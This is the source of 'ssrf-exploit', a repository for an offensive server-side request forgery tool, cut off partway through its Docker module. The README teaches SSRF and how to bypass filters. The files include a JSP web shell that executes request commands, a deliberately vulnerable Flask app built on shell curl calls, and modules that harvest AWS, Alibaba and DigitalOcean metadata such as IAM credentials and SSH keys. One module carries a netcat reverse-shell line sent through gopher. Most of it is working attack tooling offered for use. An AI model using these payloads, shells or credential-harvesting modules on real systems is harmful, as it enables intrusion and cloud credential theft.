├── .github
└── ISSUE_TEMPLATE
│ ├── bug_report.md
│ └── feature_request.md
├── .gitignore
├── LICENSE
├── README.md
├── banner
├── SSRF-1.jpg
├── __pycache__
│ └── banner.cpython-311.pyc
├── banner.py
├── logo.jpg
├── screenshot.png
└── ssrfupdated.jpg
├── data
├── cmd.jsp
├── example.py
├── ports.txt
├── request.txt
├── request2.txt
├── request3.txt
├── request4.txt
└── request5.txt
├── docker
└── Dockerfile
├── modules
├── alibaba.py
├── aws.py
├── consul.py
├── custom.py
├── digitalocean.py
├── docker.py
├── fastcgi.py
├── gce.py
├── github.py
├── httpcollaborator.py
├── memcache.py
├── mysql.py
├── networkscan.py
├── portscan.py
├── postgres.py
├── readfiles.py
├── redis.py
├── smbhash.py
├── smtp.py
├── socksproxy.py
├── template.py
├── tomcat.py
└── zabbix.py
├── payloads
└── blind-ssrf-payloads.json
├── requirements.txt
├── ssrf-exploit
└── utils
└── utils.py
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: For example, the shell does not upload to the target
5 | labels: bug
6 | assignees: errorfiathck
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Desktop (please complete the following information):**
27 | - OS: [e.g. iOS]
28 | - Browser [e.g. chrome, safari]
29 | - Version [e.g. 22]
30 |
31 | **Additional context**
32 | Add any other context about the problem here.
33 |
34 | send me hear : errorfiathck@Gmail.com
35 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: For example, you can run a certain model or method
5 | labels: bug, help wanted
6 | assignees: errorfiathck
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Describe alternatives you've considered**
17 | A clear and concise description of any alternative solutions or features you've considered.
18 |
19 | **Additional context**
20 | Add any other context or screenshots about the feature request here.
21 |
22 | send me hear : errorfiathck@Gmail.com
23 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | share/python-wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 | MANIFEST
28 |
29 | # PyInstaller
30 | # Usually these files are written by a python script from a template
31 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
32 | *.manifest
33 | *.spec
34 |
35 | # Installer logs
36 | pip-log.txt
37 | pip-delete-this-directory.txt
38 |
39 | # Unit test / coverage reports
40 | htmlcov/
41 | .tox/
42 | .nox/
43 | .coverage
44 | .coverage.*
45 | .cache
46 | nosetests.xml
47 | coverage.xml
48 | *.cover
49 | *.py,cover
50 | .hypothesis/
51 | .pytest_cache/
52 | cover/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | .pybuilder/
76 | target/
77 |
78 | # Jupyter Notebook
79 | .ipynb_checkpoints
80 |
81 | # IPython
82 | profile_default/
83 | ipython_config.py
84 |
85 | # pyenv
86 | # For a library or package, you might want to ignore these files since the code is
87 | # intended to run in multiple environments; otherwise, check them in:
88 | # .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # poetry
98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
99 | # This is especially recommended for binary packages to ensure reproducibility, and is more
100 | # commonly ignored for libraries.
101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
102 | #poetry.lock
103 |
104 | # pdm
105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
106 | #pdm.lock
107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
108 | # in version control.
109 | # https://pdm.fming.dev/#use-with-ide
110 | .pdm.toml
111 |
112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
113 | __pypackages__/
114 |
115 | # Celery stuff
116 | celerybeat-schedule
117 | celerybeat.pid
118 |
119 | # SageMath parsed files
120 | *.sage.py
121 |
122 | # Environments
123 | .env
124 | .venv
125 | env/
126 | venv/
127 | ENV/
128 | env.bak/
129 | venv.bak/
130 |
131 | # Spyder project settings
132 | .spyderproject
133 | .spyproject
134 |
135 | # Rope project settings
136 | .ropeproject
137 |
138 | # mkdocs documentation
139 | /site
140 |
141 | # mypy
142 | .mypy_cache/
143 | .dmypy.json
144 | dmypy.json
145 |
146 | # Pyre type checker
147 | .pyre/
148 |
149 | # pytype static type analyzer
150 | .pytype/
151 |
152 | # Cython debug symbols
153 | cython_debug/
154 |
155 | # PyCharm
156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
158 | # and can be added to the global gitignore or merged into this file. For a more nuclear
159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
160 | #.idea/
161 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Error
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
SSRF exploit
8 |
9 |
10 | an exploit of Server-side request forgery (SSRF)
11 |
12 | Note this project is done...
13 |
14 |
15 |
16 |
17 |
18 | Our instagram page
19 | .
20 | Our youtube chanel
21 | .
22 | Our twitter page
23 |
24 |
25 |
26 | # Server-side request forgery (SSRF)
27 |
28 | In this section, we'll explain what server-side request forgery is, describe some common examples, and explain how to find and exploit various kinds of SSRF vulnerabilities.
29 |
30 | 
31 |
32 | ## What is SSRF?
33 | > Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
34 |
35 | In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.
36 |
37 | ## What is the impact of SSRF attacks?
38 |
39 | Server-Side Request Forgery, also known as SSRF refers to an attack which lets an attacker send crafted requests from the back-end server of a vulnerable web application.
40 |
41 | SSRF is commonly used by attackers to target internal networks that are behind firewalls and can not be reached from the external network.
42 |
43 | SSRF vulnerabilities occur when the attacker has full or partial control of the request sent by the web application. If the vulnerable web application processes the user-supplied URLs then the application is vulnerable to SSRF attacks.
44 |
45 | Cross-Site Port Attack (XSPA) is also a part of SSRF. In XSPA, an attacker can scan the open port of a targeted web server with the help of a vulnerable web application which is processing the user’s URL.
46 |
47 | 
48 |
49 |
50 | ## Common SSRF attacks
51 |
52 | SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server itself, or in relation to other back-end systems within the same organization.
53 |
54 | ## Impact of a Server Side Request Forgery Attack
55 |
56 | If the user-supplied URL is processed and the back-end response is not sanitised then the attack can lead to several impacts like:
57 |
58 | 1. Port scanning: A user can scan the port of a particular website through the vulnerable web application which is processing the user’s URL.
59 |
60 | 2. Fingerprinting intranet.
61 |
62 | 3. Attacking internal or external web applications.
63 |
64 | 4. Reading local web server files using the file:/// protocol handler.
65 |
66 | 5. In some cases, a successful SSRF attack can even lead to Remote Code Execution (RCE).
67 |
68 | ## SSRF attacks against the server itself
69 |
70 | In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter).
71 |
72 | For example, consider a shopping application that lets the user view whether an item is in stock in a particular store. To provide the stock information, the application must query various back-end REST APIs, dependent on the product and store in question. The function is implemented by passing the URL to the relevant back-end API endpoint via a front-end HTTP request. So when a user views the stock status for an item, their browser makes a request like this:
73 |
74 | ```
75 | POST /product/stock HTTP/1.0
76 | Content-Type: application/x-www-form-urlencoded
77 | Content-Length: 118
78 |
79 | stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
80 | ```
81 | This causes the server to make a request to the specified URL, retrieve the stock status, and return this to the user.
82 |
83 | In this situation, an attacker can modify the request to specify a URL local to the server itself. For example:
84 | ```
85 | POST /product/stock HTTP/1.0
86 | Content-Type: application/x-www-form-urlencoded
87 | Content-Length: 118
88 |
89 | stockApi=http://localhost/admin
90 | ```
91 | Here, the server will fetch the contents of the /admin URL and return it to the user.
92 |
93 | Now of course, the attacker could just visit the /admin URL directly. But the administrative functionality is ordinarily accessible only to suitable authenticated users. So an attacker who simply visits the URL directly won't see anything of interest. However, when the request to the /admin URL comes from the local machine itself, the normal access controls are bypassed. The application grants full access to the administrative functionality, because the request appears to originate from a trusted location.
94 |
95 | Why do applications behave in this way, and implicitly trust requests that come from the local machine? This can arise for various reasons:
96 |
97 | - The access control check might be implemented in a different component that sits in front of the application server. When a connection is made back to the server itself, the check is bypassed.
98 | - For disaster recovery purposes, the application might allow administrative access without logging in, to any user coming from the local machine. This provides a way for an administrator to recover the system in the event they lose their credentials. The assumption here is that only a fully trusted user would be coming directly from the server itself.
99 | - The administrative interface might be listening on a different port number than the main application, and so might not be reachable directly by users.
100 | These kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, is often what makes SSRF into a critical vulnerability.
101 |
102 | ## SSRF attacks against other back-end systems
103 |
104 | Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. Since the back-end systems are normally protected by the network topology, they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.
105 |
106 | In the preceding example, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request:
107 |
108 | ```
109 | POST /product/stock HTTP/1.0
110 | Content-Type: application/x-www-form-urlencoded
111 | Content-Length: 118
112 |
113 | stockApi=http://192.168.0.68/admin
114 | ```
115 |
116 | ## Circumventing common SSRF defenses
117 |
118 | It is common to see applications containing SSRF behavior together with defenses aimed at preventing malicious exploitation. Often, these defenses can be circumvented.
119 |
120 | ## SSRF with blacklist-based input filters
121 |
122 | Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques:
123 |
124 | - Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
125 | - Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.
126 | - Obfuscating blocked strings using URL encoding or case variation.
127 | - Providing a URL that you control, which subsequently redirects to the target URL. Try using different redirect codes, as well as different protocols for the target URL. For example, switching from an http: to https: URL during the redirect has been shown to bypass some anti-SSRF filters.
128 |
129 |
130 | ## SSRF with whitelist-based input filters
131 |
132 | Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing.
133 |
134 | The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:
135 |
136 | - You can embed credentials in a URL before the hostname, using the @ character. For example:
137 | ```
138 | https://expected-host:fakepassword@evil-host
139 | ```
140 | - You can use the # character to indicate a URL fragment. For example:
141 | ```
142 | https://evil-host#expected-host
143 | ```
144 | - You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example:
145 | ```
146 | https://expected-host.evil-host
147 | ```
148 | - You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. Note that you can also try double-encoding characters; some servers recursively URL-decode the input they receive, which can lead to further discrepancies.
149 | - You can use combinations of these techniques together.
150 |
151 | ## About The Project
152 |
153 | 
154 |
155 | an exploit of Server-side request forgery (SSRF)
156 |
157 | ## The models that are added to the project
158 |
159 | - alibaba
160 | - aws
161 | - consul
162 | - docker
163 | - gce
164 | - mysql
165 | - networkscan
166 | - portscan
167 | - readfiles
168 | - redis
169 | - socksproxy
170 | - digitalocean
171 | - httpcollaborator
172 | - smtp
173 | - zabbix
174 | - smbhash
175 | - fastcgi
176 | - custom
177 | - github
178 | - template
179 | - tomcat
180 | - memcache
181 | - postgres
182 |
183 | ## Built With
184 |
185 | Whilst I was the main developer of this project, this project couldn't of even started without the help of these open source projects, special thanks to:
186 |
187 | - [[Python]](https://www.python.org/)
188 |
189 | ## Getting Started
190 |
191 | This is an example of how you may give instructions on setting up your project locally.
192 | To get a local copy up and running follow these simple example steps.
193 |
194 | ### Prerequisites
195 |
196 | This program has no pre-requisites
197 |
198 | ### Installation & Usage
199 |
200 | 1. Clone the repo
201 |
202 | ```sh
203 | git clone https://github.com/errorfiathck/ssrf-exploit.git
204 | ```
205 |
206 | 2. cd to directory
207 |
208 | ```sh
209 | cd ssrf-exploit
210 | ```
211 |
212 | 3. Once on your system, you'll need to install the Python dependencies.
213 | ```sh
214 | pip3 install -r requirements.txt
215 | ```
216 |
217 | 4. run the script as example:
218 | ```sh
219 | python3 ssrf-exploit --help
220 | ```
221 |
222 | - Have fun!
223 |
--------------------------------------------------------------------------------
/banner/SSRF-1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/SSRF-1.jpg
--------------------------------------------------------------------------------
/banner/__pycache__/banner.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/__pycache__/banner.cpython-311.pyc
--------------------------------------------------------------------------------
/banner/banner.py:
--------------------------------------------------------------------------------
1 | r='\033[1;31m'
2 | y='\033[1;33m'
3 | w='\033[1;37m'
4 |
5 | def banner():
6 |
7 | import time
8 | time.sleep(1)
9 | from os import system, name; system('clear' if name == 'posix' else 'cls')
10 |
11 | main = f"""
12 | {r} _
13 | {y} ___ {r} _ E _ {y} _ _
14 | {y} ___ ___ ___| _|___ ___ _ _ ___{r}[,]{y}___|_| |_
15 | {y}|_ -|_ -| _| _|___| -_|_'_| . {r}[,]{y} . | | _|
16 | {y}|___|___|_| |_| |___|_,_| _{r}[.]{y}___|_|_|
17 | |_| {r}V{y}...
18 |
19 | {w}created by : errorfiat
20 | """
21 |
22 | print(f'{main : ^20}')
23 |
24 | banner()
25 |
--------------------------------------------------------------------------------
/banner/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/logo.jpg
--------------------------------------------------------------------------------
/banner/screenshot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/screenshot.png
--------------------------------------------------------------------------------
/banner/ssrfupdated.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/ssrfupdated.jpg
--------------------------------------------------------------------------------
/data/cmd.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.*,java.io.*"%>
2 |
3 |
7 |
8 | <%
9 | if (request.getParameter("cmd") != null) {
10 | out.println("Command: " + request.getParameter("cmd") + "
");
11 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
12 | OutputStream os = p.getOutputStream();
13 | InputStream in = p.getInputStream();
14 | DataInputStream dis = new DataInputStream(in);
15 | String disr = dis.readLine();
16 | while ( disr != null ) {
17 | out.println(disr);
18 | disr = dis.readLine();
19 | }
20 | }
21 | %>
22 |
23 |
--------------------------------------------------------------------------------
/data/example.py:
--------------------------------------------------------------------------------
1 | # NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE)
2 | # NOTE: this file should become a simple ssrf example in order to test SSRFmap
3 | # FLASK_APP=example.py flask run
4 |
5 | from flask import Flask, abort, request
6 | import json
7 | import re
8 | import subprocess
9 |
10 | app = Flask(__name__)
11 |
12 | @app.route("/")
13 | def hello():
14 | return "SSRF Example!"
15 |
16 | # curl -i -X POST -d 'url=http://example.com' http://localhost:5000/ssrf
17 | @app.route("/ssrf", methods=['POST'])
18 | def ssrf():
19 | data = request.values
20 | content = command(f"curl {data.get('url')}")
21 | return content
22 |
23 | # curl -i -H "Content-Type: application/json" -X POST -d '{"url": "http://example.com"}' http://localhost:5000/ssrf2
24 | @app.route("/ssrf2", methods=['POST'])
25 | def ssrf2():
26 | data = request.json
27 | print(data)
28 | print(data.get('url'))
29 | content = command(f"curl {data.get('url')}")
30 | return content
31 |
32 | # curl -v "http://127.0.0.1:5000/ssrf3?url=http://example.com"
33 | @app.route("/ssrf3", methods=['GET'])
34 | def ssrf3():
35 | data = request.values
36 | content = command(f"curl {data.get('url')}")
37 | return content
38 |
39 | # curl -X POST -H "Content-Type: application/xml" -d '4142430A0http://google.com' http://127.0.0.1:5000/ssrf4
40 | @app.route("/ssrf4", methods=['POST'])
41 | def ssrf4():
42 | data = request.data
43 | print(data.decode())
44 | regex = re.compile("url>(.*?)4142430A0*FUZZ*
--------------------------------------------------------------------------------
/data/request5.txt:
--------------------------------------------------------------------------------
1 | POST /index.php HTTP/1.1
2 | Host: ctf.hacklab-esgi.org:8082
3 | Content-Length: 5
4 | Cache-Control: max-age=0
5 | Origin: http://ctf.hacklab-esgi.org:8082
6 | Upgrade-Insecure-Requests: 1
7 | Content-Type: application/x-www-form-urlencoded
8 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36 OPR/60.0.3255.15 (Edition beta)
9 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
10 | Referer: http://ctf.hacklab-esgi.org:8082/
11 | Accept-Encoding: gzip, deflate
12 | Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
13 | Cookie: session=718ec500-02c9-433e-ac3d-ece753ee1169
14 | Connection: close
15 |
16 | url=FUZZME
--------------------------------------------------------------------------------
/docker/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM fedora:latest
2 |
3 | RUN dnf install -y --refresh \
4 | konsole \
5 | python3 \
6 | python3-pip \
7 | git \
8 |
9 | RUN git clone https://github.com/errorfiathck/ssrf-exploit.git && \
10 | cd ssrf-exploit
11 | pip3 install -r requirements.txt
12 |
13 | ENTRYPOINT ["python3", "ssef-exploit"]
14 |
--------------------------------------------------------------------------------
/modules/alibaba.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import os
4 |
5 | name = "alibaba"
6 | description = "Access sensitive data from the Alibaba Cloud"
7 | author = "errorfiathck"
8 | documentation = [""]
9 |
10 | class exploit():
11 | endpoints = set()
12 |
13 | def __init__(self, requester, args):
14 | logging.info(f"Module '{name}' launched !")
15 | self.add_endpoints()
16 |
17 | r = requester.do_request(args.param, "")
18 | if r != None:
19 | default = r.text
20 |
21 | # Create directory to store files
22 | directory = requester.host
23 | # Replace : with _ for window folder name safe
24 | # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters
25 | directory = directory.replace(':','_')
26 | if not os.path.exists(directory):
27 | os.makedirs(directory)
28 |
29 | for endpoint in self.endpoints:
30 | payload = wrapper_http(endpoint[1], endpoint[0] , "80")
31 | r = requester.do_request(args.param, payload)
32 | diff = diff_text(r.text, default)
33 | if diff != "":
34 |
35 | # Display diff between default and ssrf request
36 | logging.info(f"\033[32mReading file\033[0m : {payload}")
37 | print(diff)
38 |
39 | # Write diff to a file
40 | filename = endpoint[1].split('/')[-1]
41 | if filename == "":
42 | filename = endpoint[1].split('/')[-2:-1][0]
43 |
44 | logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}")
45 | with open(directory + "/" + filename, 'w') as f:
46 | f.write(diff)
47 |
48 |
49 | def add_endpoints(self):
50 | self.endpoints.add( ("100.100.100.200","latest/meta-data/instance-id") )
51 | self.endpoints.add( ("100.100.100.200","latest/meta-data/image-id") )
52 | self.endpoints.add( ("100.100.100.200","latest/meta-data/") )
--------------------------------------------------------------------------------
/modules/aws.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import os
4 |
5 | name = "aws"
6 | description = "Access sensitive data from AWS"
7 | author = "errorfiathck"
8 | documentation = [
9 | "https://hackerone.com/reports/53088",
10 | "https://hackerone.com/reports/285380",
11 | "https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/",
12 | "https://twitter.com/spengietz/status/1161317376060563456"
13 | ]
14 |
15 | class exploit():
16 | endpoints = set()
17 |
18 | def __init__(self, requester, args):
19 | logging.info(f"Module '{name}' launched !")
20 | self.add_endpoints()
21 |
22 | r = requester.do_request(args.param, "")
23 | if r != None:
24 | default = r.text
25 |
26 | # Create directory to store files
27 | directory = requester.host
28 | # Replace : with _ for window folder name safe
29 | # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters
30 | directory = directory.replace(':','_')
31 | if not os.path.exists(directory):
32 | os.makedirs(directory)
33 |
34 | for endpoint in self.endpoints:
35 | payload = wrapper_http(endpoint[1], endpoint[0] , endpoint[2])
36 | r = requester.do_request(args.param, payload)
37 | diff = diff_text(r.text, default)
38 | if diff != "":
39 |
40 | # Display diff between default and ssrf request
41 | logging.info(f"\033[32mReading file\033[0m : {payload}")
42 | print(diff)
43 |
44 | # Write diff to a file
45 | filename = endpoint[1].split('/')[-1]
46 | if filename == "":
47 | filename = endpoint[1].split('/')[-2:-1][0]
48 |
49 | logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}")
50 | with open(directory + "/" + filename, 'w') as f:
51 | f.write(diff)
52 |
53 |
54 | def add_endpoints(self):
55 | self.endpoints.add( ("169.254.169.254","latest/user-data", "80") )
56 | self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id", "80") )
57 | self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id", "80") )
58 | self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname", "80") )
59 | self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/0/openssh-key", "80") )
60 | self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/1/openssh-key", "80") )
61 | self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/2/openssh-key", "80") )
62 | self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/dummy", "80") )
63 | self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/ecsInstanceRole", "80") )
64 | self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/", "80") )
65 | self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/", "80") )
66 | self.endpoints.add( ("169.254.169.254","latest/user-data/", "80") )
67 | self.endpoints.add( ("localhost","2018-06-01/runtime/invocation/next", "9001") )
68 |
--------------------------------------------------------------------------------
/modules/consul.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import json
4 | import urllib.parse
5 |
6 | # NOTE : NOT TESTED YET
7 | # might need some editing to work properly !
8 |
9 | name = "consul"
10 | description = "Hashicorp Consul Info Leak - Open API"
11 | author = "Swissky"
12 | documentation = [
13 | "https://www.consul.io/api/agent.html"
14 | ]
15 |
16 | class exploit():
17 |
18 | def __init__(self, requester, args):
19 | logging.info(f"Module '{name}' launched !")
20 | gen_host = gen_ip_list("127.0.0.1", args.level)
21 | port = "8500"
22 |
23 | # List Members
24 | for ip in gen_host:
25 | data = "/v1/agent/members"
26 | payload = wrapper_http(data, ip, port)
27 | r = requester.do_request(args.param, payload)
28 |
29 | if r.json:
30 | print(r.json)
31 |
32 | # Read Configuration
33 | for ip in gen_host:
34 | data = "/v1/agent/self"
35 | payload = wrapper_http(data, ip, port)
36 | r = requester.do_request(args.param, payload)
37 |
38 | if r.json:
39 | print(r.json)
--------------------------------------------------------------------------------
/modules/custom.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import urllib.parse
3 | import logging
4 |
5 | name = "custom"
6 | description = "Send custom data to a listening service, e.g: netcat"
7 | author = "errorfiathck"
8 | documentation = []
9 |
10 | class exploit():
11 | SERVICE_IP = "127.0.0.1"
12 | SERVICE_PORT = "8080"
13 | SERVICE_DATA = "/bin/nc 127.0.0.1 4444 -e /bin/sh &"
14 |
15 | def __init__(self, requester, args):
16 | logging.info(f"Module '{name}' launched !")
17 | gen_hosts = gen_ip_list("127.0.0.1", args.level)
18 | self.SERVICE_PORT = input("Service Port: ")
19 | self.SERVICE_DATA = "%0d%0a"+urllib.parse.quote(input("Service Data: "))
20 |
21 | for gen_host in gen_hosts:
22 | payload = wrapper_gopher(self.SERVICE_DATA, gen_host, self.SERVICE_PORT)
23 |
24 | if args.verbose == True:
25 | logging.info(f"Generated payload : {payload}")
26 |
27 | r = requester.do_request(args.param, payload)
28 |
29 | if args.verbose == True:
30 | logging.info(f"Module '{name}' ended !")
--------------------------------------------------------------------------------
/modules/digitalocean.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import os
4 |
5 | name = "digitalocean"
6 | description = "Access sensitive data from the Digital Ocean provider"
7 | author = "errorfiathck"
8 | documentation = ["https://developers.digitalocean.com/documentation/metadata/"]
9 |
10 | class exploit():
11 | endpoints = set()
12 |
13 | def __init__(self, requester, args):
14 | logging.info(f"Module '{name}' launched !")
15 | self.add_endpoints()
16 |
17 | r = requester.do_request(args.param, "")
18 | if r != None:
19 | default = r.text
20 |
21 | directory = requester.host
22 |
23 | directory = directory.replace(':','_')
24 | if not os.path.exists(directory):
25 | os.makedirs(directory)
26 |
27 | for endpoint in self.endpoints:
28 | payload = wrapper_http(endpoint[1], endpoint[0] , "80")
29 | r = requester.do_request(args.param, payload)
30 | diff = diff_text(r.text, default)
31 | if diff != "":
32 |
33 | # Display diff between default and ssrf request
34 | logging.info(f"\033[32mReading file\033[0m : {payload}")
35 | print(diff)
36 |
37 | # Write diff to a file
38 | filename = endpoint[1].split('/')[-1]
39 | logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}")
40 | with open(directory + "/" + filename, 'w') as f:
41 | f.write(diff)
42 |
43 |
44 | def add_endpoints(self):
45 | self.endpoints.add( ("169.254.169.254","metadata/v1/id") )
46 | self.endpoints.add( ("169.254.169.254","metadata/v1/user-data") )
47 | self.endpoints.add( ("169.254.169.254","metadata/v1/hostname") )
48 | self.endpoints.add( ("169.254.169.254","metadata/v1/region") )
49 | self.endpoints.add( ("169.254.169.254","metadata/v1/public-keys") )
50 | self.endpoints.add( ("169.254.169.254","metadata/v1.json") )
51 |
--------------------------------------------------------------------------------
/modules/docker.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import json
4 | import urllib.parse
5 |
6 | # NOTE
7 | # Enable Remote API with the following command
8 | # /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
9 |
10 | name = "docker"
11 | description = "Docker Infoleaks via Open Docker API"
12 | author = "errorfiathck"
13 | documentation = []
14 |
15 | class exploit():
16 |
17 | def __init__(self, requester, args):
18 | logging.info(f"Module '{name}' launched !")
19 | gen_host = gen_ip_list("127.0.0.1", args.level)
20 | port = "2375"
21 |
